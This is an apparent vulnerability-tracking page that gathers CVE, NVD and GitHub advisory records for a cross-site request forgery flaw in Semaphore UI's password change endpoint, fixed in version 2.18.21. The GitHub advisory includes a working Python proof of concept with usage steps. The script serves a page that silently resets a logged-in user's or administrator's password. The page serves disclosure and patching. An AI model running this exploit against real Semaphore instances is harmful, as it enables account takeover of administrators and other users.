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Semaphore UI: CSRF vulnerability on password change endpoint - No CSRF token or password confirmation

Collected exploitation and prediction evidence

Risk source coverage

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

cve-program · CVE-2026-73292

Published

Semaphore UI is a web interface for managing DevOps tools. Prior to 2.18.21, the /api/users/{id}/password endpoint accepts a cross-site request using the authenticated user's semaphore session cookie without CSRF protection or current-password confirmation, allowing an unauthenticated attacker to change an administrator's or another user's password after user interaction. This issue is fixed in version 2.18.21.

Source published
12 Aug 2026 15:34:45 UTC
Source modified
12 Aug 2026 22:11:58 UTC
Observed here
23 Oct 2026 15:48:27 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 8.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L

nvd · CVE-2026-73292

Published

Semaphore UI is a web interface for managing DevOps tools. Prior to 2.18.21, the /api/users/{id}/password endpoint accepts a cross-site request using the authenticated user's semaphore session cookie without CSRF protection or current-password confirmation, allowing an unauthenticated attacker to change an administrator's or another user's password after user interaction. This issue is fixed in version 2.18.21.

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Deferred

Weakness classifications: CWE-352 · CWE-620

Original publisher date fields

published: 2026-08-12T16:17:22.343

lastModified: 2026-10-24T15:10:00.190

Source published
12 Aug 2026 16:17:22 UTC
Source modified
24 Oct 2026 15:10:00 UTC
Observed here
25 Oct 2026 15:19:03 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 8.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L

osv · GHSA-8cj9-r88m-8945

Published

### Summary The password change form is vulnerable to CSRF, allowing an attacker to change a user password (even the administrator) by tricking a connected user to visit a malicious website. The vulnerability has been tested with version 2.18.20. ### Details The password change endpoint of Semaphore UI does not implement any CSRF protection: - No CSRF token required - No current password confirmation required - Authentication relies solely on a session cookie (`semaphore`) with no `SameSite` enforcement A malicious page can silently change the password of any authenticated user who visits it by submitting the /api/users/<id>/password forms. ### PoC To reproduce the exploit, you can use the following python script: ```python import logging import argparse import time import sys import os from http.server import SimpleHTTPRequestHandler, HTTPServer logging.basicConfig(filename=None, level=logging.DEBUG,format='%(asctime)s - %(message)s') def forge_malicious_page(target, user_id, newpassword): return f""" <html> <body> <form id="CSRF_POC" action="{target}/api/users/{user_id}/password" enctype="text/plain" method="POST"> <input type="hidden" name='{{"password": "{newpassword}", "project_id": 1}}' value='//}}' /> </form> <script> document.getElementById("CSRF_POC").submit(); </script> </body> </html> """; parser = argparse.ArgumentParser() parser.add_argument("-i","--user_id",type=int, help="user id to change password", required=True) parser.add_argument("-u","--uri", help="Base uri to target", required=True) parser.add_argument("-n","--new_password", help="new password to set", default='passwordchanged') parser.add_argument("-p","--port", help="Port to run server", default=1337) args = parser.parse_args() class Handler(SimpleHTTPRequestHandler): def do_GET(self): logging.info("Client: %s | Methode: %s | Chemin: %s | Query: %s" % (self.client_address[0], self.command, self.path, self.path.split('?')[1] if '?' in self.path else 'None')) content=forge_malicious_page(args.uri,args.user_id, args.new_password).encode() self.send_response(200) self.send_header("Content-Type", "text/html; charset=utf-8") self.send_header("Content-Length", str(len(content))) self.end_headers() self.wfile.write(content) httpd = HTTPServer(("", args.port), Handler) logging.info("[*] Serving at port "+str(args.port)) httpd.serve_forever() ``` Example : ```bash python poc.py -u http://semaphore:3000 -i 1 -n pwn3d -p 1337 ``` 1 - Run the previous script with the url of the targeted semaphore instance and the id of the targeted user. The script will serve a malicious webpage on port 1337. 2 - Connect to semaphore UI in another tab with the targeted user. 3 - In the same browser, visit the malicious website (ex: localhost:1337). 4 - When you visit localhost:1337, the password change form will be silently submitted to semaphore, changing the targeted user password. You can now connect to the targeted user with the password `passwordchanged`. ### Impact This is a Cross-Site Request Forgery vulnerability. An unauthenticated attacker can trick any user, even administrator, to change their password and take control of the semaphore instance.

Source published
3 Sep 2026 19:23:15 UTC
Source modified
10 Sep 2026 15:25:35 UTC
Observed here
24 Oct 2026 13:19:41 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L

Publisher rating · HIGH

osv · GO-2026-6370

Published

Semaphore UI: CSRF vulnerability on password change endpoint - No CSRF token or password confirmation in github.com/semaphoreui/semaphore

Source published
10 Sep 2026 14:48:42 UTC
Source modified
10 Sep 2026 15:15:12 UTC
Observed here
24 Oct 2026 13:19:41 UTC
Source terms
OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.

ChangeIntel

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Sources read 25 Oct 20:05 UTC · 271 of 271 readable · 269 fully read · documentation 464/464 current